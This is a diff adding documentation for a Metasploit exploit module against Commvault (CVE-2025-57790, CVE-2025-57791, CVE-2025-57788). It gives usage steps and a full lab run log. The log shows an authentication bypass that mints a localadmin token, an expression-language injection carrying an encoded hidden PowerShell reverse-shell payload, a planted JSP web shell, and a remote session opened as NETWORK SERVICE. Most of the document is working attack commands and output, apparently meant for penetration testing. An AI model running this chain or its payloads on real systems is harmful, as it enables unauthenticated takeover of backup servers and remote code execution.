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| 1 | +## Vulnerable Application |
| 2 | +This module exploits an unauthenticated remote code execution exploit chain for Commvault, |
| 3 | +tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated |
| 4 | +access to the 'localadmin' account, which then facilitates code execution via expression |
| 5 | +language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is |
| 6 | +necessary knowledge to exploit the remote code execution chain. This module executes in |
| 7 | +the context of 'NETWORK SERVICE' on Windows. |
| 8 | + |
| 9 | +## Testing |
| 10 | +To set up a test environment: |
| 11 | +1. Install Commvault and perform basic minimum setup (prompted by installer). |
| 12 | +2. Confirm that the web service on port 443 is reachable. |
| 13 | +3. Follow the verification steps below. |
| 14 | + |
| 15 | +## Options |
| 16 | +No custom options exist for this module. |
| 17 | + |
| 18 | +## Verification Steps |
| 19 | +1. Start msfconsole |
| 20 | +2. `use exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791` |
| 21 | +3. `set RHOSTS <TARGET_IP_ADDRESS>` |
| 22 | +4. `set RPORT <TARGET_PORT>` |
| 23 | +5. `run` |
| 24 | + |
| 25 | +## Scenarios |
| 26 | +### Commvault Windows Target |
| 27 | +``` |
| 28 | +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > show options |
| 29 | +
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| 30 | +Module options (exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791): |
| 31 | +
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| 32 | + Name Current Setting Required Description |
| 33 | + ---- --------------- -------- ----------- |
| 34 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies |
| 35 | + : socks5, socks5h, http, sapni, socks4 |
| 36 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic |
| 37 | + s/using-metasploit.html |
| 38 | + RPORT 443 yes The target port (TCP) |
| 39 | + SSL true no Negotiate SSL/TLS for outgoing connections |
| 40 | + TARGETURI / yes The base path to Commvault |
| 41 | + VHOST no HTTP server virtual host |
| 42 | +
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| 43 | +
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| 44 | +Payload options (cmd/windows/powershell_reverse_tcp): |
| 45 | +
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| 46 | + Name Current Setting Required Description |
| 47 | + ---- --------------- -------- ----------- |
| 48 | + LHOST yes The listen address (an interface may be specified) |
| 49 | + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web |
| 50 | + LPORT 4444 yes The listen port |
| 51 | +
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| 52 | +
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| 53 | +Exploit target: |
| 54 | +
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| 55 | + Id Name |
| 56 | + -- ---- |
| 57 | + 0 Default |
| 58 | +
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| 59 | +
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| 60 | +
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| 61 | +View the full module info with the info, or info -d command. |
| 62 | +
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| 63 | +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set RHOSTS 192.168.154.222 |
| 64 | +RHOSTS => 192.168.154.222 |
| 65 | +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set LHOST 192.168.154.139 |
| 66 | +LHOST => 192.168.154.139 |
| 67 | +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set VERBOSE true |
| 68 | +VERBOSE => true |
| 69 | +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > run |
| 70 | +[*] Started reverse TCP handler on 192.168.154.139:4444 |
| 71 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 72 | +[*] Attempting to query the publicLink.do endpoint |
| 73 | +[*] The server returned a body that included the string cv-gorkha, looks like Commvault |
| 74 | +[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178 |
| 75 | +[*] Attempting to login as PublicSharingUser |
| 76 | +[+] Authenticated as PublicSharingUser, got token: QSDK 36fdc5bd8cd650a1e64d8bd00acec802097a131806f2c712b41d7abf0b3e26d63f934db1efb85444ba371710bd6135bc41f679bf4d923417fc191864f9772780ddc7c7e66c73b7b59721b9acc7ac32bab5fc4d89909a0771229e5e0fd0b51c6ff346b195eb53e4f92c31182701ce7eb78f4a11b0c4653ef48f6e902b61094c9b50ae05715890e9bb9e341b99d003956e1f036a82295f23cf637c8d4046f5c970ad46deb59e3d89579d5dc144f2582e3ae3659c17f19835c40cb8c93c96f063d58d41f2b328e39fda3d2c7e26af2d62bbf |
| 77 | +[+] The target is vulnerable. Successfully authenticated as PublicSharingUser |
| 78 | +[*] Attempting to query the publicLink.do endpoint |
| 79 | +[*] The server returned a body that included the string cv-gorkha, looks like Commvault |
| 80 | +[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178 |
| 81 | +[*] Attempting PublicServiceUser login using: 572131A8-3182-4423-8850-4A62D6CA2178 |
| 82 | +[+] Authenticated as PublicSharingUser, got token: QSDK 388eef6d67c3cf146a17819125e4b33506fd188ec21fe6d191b56cdf1e98527d84135f8508ad2439a6229bc5b44d6a71e83460596c3267113d8365867d834004463aeb263ef8b5a1ecaad5f0f44e310223317e29b987ea8b3311666ce34ddd30121c77652628fd975ce662e21c113c53414806e4fffcf2082b245f9f64f6f20716df1ed46f7da21c6b933bd9c1eabaf7cc8600644f399057a73598e60bf586d6b3c3717fa7fd0e9a4204dae938cb213f855f8eb48ffc37f3a1d38ca74176d919253cdb6405ce27287f4106eb0a5397093 |
| 83 | +[*] Attempting to query authenticated API endpoint to get host name and OS |
| 84 | +[+] Got target host name: DC01 |
| 85 | +[+] Got target host OS: Windows |
| 86 | +[*] Attempting to mint a localadmin token using hostname: DC01 |
| 87 | +[+] Successfully bypassed authentication |
| 88 | +[*] Admin token: QSDK 39cb9de328b232215e42c09650a018488634454cb0f39875976ca7d16039ea739a20ea151935c84b458bd9991b826e46dddccdbe95abfd13b72e0a3b5eb6238cf089302d340f4b421d9f250669b3624fc2d0e4b871db59bc96fe955b8e7d88034d35e310e1c22d717ea1d8a01f5dadfccaf2910128cbe089fce9738bb549c2c6e5aeff59c0644345f3dffe1c73103d8372af95b5e73f018d3fa413727af1592f72d7fc036fdf060d5a6cf183ba1651ab69c5dbdcee110d7a9d01ef490c90fa1ea0fdc1afc52ba5f5ee8b58ee4349efc92c086d4c2ab1be97123385e78ca8f68ae3f88b1142382013438226acdc4e6b10701120f07d6acd1f7 |
| 89 | +[*] Extracted localadmin user ID number: 4 |
| 90 | +[*] Got JSON response, searching for installation path disclosures |
| 91 | +[+] Leaked the installation path: C:\Program Files\Commvault\ContentStore |
| 92 | +[*] Got user description: System created Admin User for qcommand operations |
| 93 | +[*] Uploading XML file: <App_GetUserPropertiesRequest level="30"> |
| 94 | + <user userName="DC01_localadmin__" /></App_GetUserPropertiesRequest> |
| 95 | +[*] Updating user description: <App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>4</userId></userEntity><description>${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('powershell -w hidden -nop -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBuAG8AbgBpACAALQBlAHAAIABiAHkAcABhAHMAcwAgACIAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARABBAC8AeQBHAGcAQwBBADUAVgBWAFgAVwAvAGIATgBoAFIAOQA5ADYAKwA0AE0ATgBSAEcAUQBtAHoAQwA5AHIAcABoAEQAWgBDAGkAbgBwAG8ATwBBAGIATABXAHEATABMAGwAdwBUAEEAUQBtAHIAcQBPAHQAZABDAGsAUwAxAHsAMgB9AHgAagBjAFQALwBmAGEAUgB7ADEAfQBmAFQAaABPAHMASgBZAFAAdABzAGgANwBlAFgAaAA0ADcAaQBHADUAeQBBAFUAegBtAFIAVAB3AEoANQByACsARABjADQAWgB6ADEAQQBZADYARAB4ADIAdwBMAFoAZwB3ACsAQQBjACcAJwArACcAJwB2AHUAQwBtAC8AMwBYACsATAB6AEkARAAvAGUAdgBkAEcAcgAvAFEARgBkAHAAQgBRADIAeAArAFgATwBSAFgAeQBlAFIAdgBqAFoAOQB3AFEAWABOAHUAWQBvAFcAcABqAFcAUwBVAGEAdwBzAFIARwBKAFYAagBuAFQAVgBSAGMAcgBzAGoAegB6AEwAcwBlAEcAdQBrAHkAdQAzAHMATwA0AHUAewAyAH0ANABsAHAAdQBVAE4AbQBlAFoAUQBkAEYAZgB7ADEAfQBJAFYAWABZAFgAbAA5AHoAUQB4AHsAMgB9AGgATgAzAHMAeQBDAFcAcQB4AFUAVgBhAGUAOQB3AE4ATgBHAGMAUwBmAEYAcwA4AEoAUABjAEMAQwA1AHAAVwBvAHgARwBIAGwATgBKAGgAbABxAEQARgAyAEEAbAAwADUAeQBqAEkALwBnAHgAagB7ADIAfQBCAE0AeQBSAFkAUQBWAHMAdABBAEgANwA5AEQAZAA1ADYASgB0AEIAcwBWAHcAWABKAGUATQBaAGQAbgAyAHEAQgBBAFoAUwBkAFAAawA1ADMAOQBYAGgARwBuAFcAaQBMAFoAUABSAHAATgByAHQAbgA2ACcAJwArACcAJwB5AG0AZgBNADMAdABsADIAUABKAEYAbwBRADUAVgB4ADYALwBxAFYAaQA2AGcAdgAwAFgAawByAGIAOAB3AFkAcgBvADAARgBMAE0AcwBSAGwAbABUADIAcgA5AEYAVgArAEkAQgB7ADIAfQA0AHoASABqAEcAcgBwAFYAOABwAGUAWQB4AHgATwAvAFUASABmADQAZgBrAFMARwB2AC8AMQBPAGgAcgArACsASQA4AE4AZgAzACcAJwArACcAJwBuAGQANwBiAGkAZAArACsAVQA0AHAAbwBUAFkAewAyAH0ANgBjAHIAeABMAGUARwBKAHQAVgBwAFMAagBGAG0AZQBEAGMATwB5AFEAaQBWAEIANQA1AGEAdQBMADAAaQBMAG4AdABZADgAcQBjAEIAZQBZAFkAZwBzAFYANQBuAFoAawBhAFIAewAyAH0ARABmADMANgB2AFcAQgBoAGIAWQBXADkAOABEAEcANAB0ACcAJwArACcAJwB1AGgANwA2AEYATQBOADAAJwAnACsAJwAnADQATQA1ADMAMwBBAGwARABjAGEAbwBUAEwAYgBJAEcARABYADQARAArAFYAWgBTAHAAMwAzAFkAcwByADUAbgBMAEwANwBXAFIAUwA5AFEASQBlAE0AYwA3AE4AMAB4AG4AVwBUAHgAdgBwAFYAYgBRAHsAMgB9AFIAYwA5ADcAcgBHAHEANgBIAG8ANgA0AG4AMQBNAGEAcgBoAFcAbwAyADIAbABaAHkATwB0ADgAWgBuAE0ANQBtAGcAZgB0ADMAbABoAHcAUQBNAGgAcgBZADkAdgBUAG0AYwBiAEQAMwBZAHEATgBJAHEAMwBBADQATgBiAGcAMQBCACcAJwArACcAJwBBAFcAVABxAGYAUAA3ADIAZABrADQAaQBTADgAdgBJADEAZQBBAFAAMQB4AE8AMgBMADIAeAB4AHAAVQBiAEQAUgBOADMAdABKAEkAbABjAGcANABxAEYAOABKAG0AZwA1AFUAbgAxADkAYQA4AFgAVABpAEYAQQBNAFgARABtAGUAJwAnACsAJwAnAHMASgBkAC8AUgBQADcAWgBpAHQAVgBCADEAZwBjAHIAWABPAFQAUgBPADgARgBiAEYAYwA3ADEAUgAyAHQAegBRAFEAeABoAEgAOABsAFQAewAxAH0AbAB0AFYAdwBZAGkAewAyAH0AVgBhAFMAMQBVAG8AUwBtAEQAcwBGAG4ATgBKAEcAaABSAGEANwBBAGQATQB5AGEAMgA0AEYAZAA2AFcAWABnADUAeQBZADIAdQBEAFkAYgBPAHgAMwBxAEQAWABkAE0AZwBWAGkAagB1AHoAYgBQAHUAbwBPAHQAUgB0AEoAeAAwAFoANgBlAGQAVQBtAHAANwBPADQATQBwAEMATwBsAG4AOABoAFUAQgBxAG4AagAvAFAAdABaAHIAMQBXAGEAbwBMAHkAcABhAFcAYwB3AGsAewAyAH0AbQBhAGcAdgBuAEMAYQByAG8AZQAxAGEAZQBIAEIAUABSADYAVABhAGIAWABtAGwAVgBVAGoAUgAwADYAVgAnACcAKwAnACcANABrAFAAZgBZAHYAOQBpAHUAcgBiAGIAYQA2ACcAJwArACcAJwBsADIAagA3AE4AdQBXADIAaQB3AHoAagBtAHsAMQB9AFkAWgBJAFgAcgB5AGsAMQA4AFEANQBxACcAJwArACcAJwBHAHAAYwBkADYATQBPAGgAQgBjAE0AQQArAGcAcgA1AEEARwBCAHgASgBlAHUASAAwAHcALwBUAGEAYQB2AG4AYQBrACsASABQAHEAVQBzAGgAaABjAFkAWABYAHYATQBHAHgAWgA0ADIANgBxAGkAMAAwAFAAeAAxAFUAZQB5AHUAewAxAH0AaABXAEMATABIAHAAVwBUAFgAcwA0AFgAVABHAFAAOQBnADMAOQA2AHUAbwByAHcAVQBjAGYAMwBnADcAaABDAGIANwBtAHAAbAArAGkAZwBqAGYAUABBAGQAUQBJAEMAawB7ADEAfQBxADQARgBNADQAbQBTAFIAdwBZAHYAOABMAC8AYQA4AGsAewAyACcAJwArACcAJwB9AHoAdwBjAGsAUQBrADEAUwB4AGYAOQBBAEMAYwBOAHkATgBZAFIAQwBWAEEAcABxAGEAYQBEADIAYwBGAGkATABkAFoARgBuAEQAQwBPAFYASQBYAFIAUwB3AHoATwAyAHgAMQA3ADEATABhAGQAWQB3AFAALwBrAEgAOABiAG0AUAA5ADEAYgBOAHUAdwBSADMANgB0ADUAbgB6AG0AdQAnACcAKwAnACcAVgA3AFcAcgA2AEcAJwAnACsAJwAnAC8AZQBQAHoAZABIAG4ATwBwADAAZQArAG4ATwBJADcAVgBHADkAVQAyAFQAUABOAHcASgBVAGEAdQBxADkAZgB7ADIAfQAvADEAcABuADEAZwA5ADkAWABUAHYALwBZAHYAMABIAGQAVwBxADkAewAyAH0AcQA0AEkAQQBBAEEAewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBFACcAJwAsACcAJwBLACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACIAJwA=').getInputStream()).useDelimiter('%5C%5CA').next()}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest> |
| 96 | +[*] Moving XML file to web shell: qoperation execute -af C:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\b2e65d7a\b2e65d7a.xml -file C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp |
| 97 | +[*] Accessing the web shell file: b2e65d7a.jsp |
| 98 | +[!] Tried to delete C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp, unknown result |
| 99 | +[*] Powershell session session 1 opened (192.168.154.139:4444 -> 192.168.154.222:50011) at 2025-09-15 11:33:22 -0500 |
| 100 | +[*] Updating user description: <App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>4</userId></userEntity><description>System created Admin User for qcommand operations</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest> |
| 101 | +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > sessions -i 1 |
| 102 | +[*] Starting interaction with 1... |
| 103 | +
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| 104 | +PS C:\Program Files\Commvault\ContentStore\Apache\bin> whoami |
| 105 | +nt authority\network service |
| 106 | +
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| 107 | +``` |
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